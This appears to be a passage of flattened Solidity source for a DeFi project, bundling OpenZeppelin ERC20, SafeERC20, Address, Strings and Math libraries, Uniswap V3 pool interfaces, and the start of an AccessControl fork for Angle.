*/ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import './pool/IUniswapV3PoolImmutables.sol'; import './pool/IUniswapV3PoolState.sol'; import './pool/IUniswapV3PoolDerivedState.sol'; import './pool/IUniswapV3PoolActions.sol'; import './pool/IUniswapV3PoolOwnerActions.sol'; import './pool/IUniswapV3PoolEvents.sol'; /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions, IUniswapV3PoolOwnerActions, IUniswapV3PoolEvents { } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Events emitted by a pool /// @notice Contains all events emitted by the pool interface IUniswapV3PoolEvents { /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96 /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param liquidity The liquidity of the pool after the swap /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, uint128 liquidity, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the factory owner interface IUniswapV3PoolOwnerActions { /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "../interfaces/IAccessControl.sol"; /** * @dev This contract is fully forked from OpenZeppelin `AccessControl`. * The only difference is the removal of the ERC165 implementation as it's not * needed in Angle. * * Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); 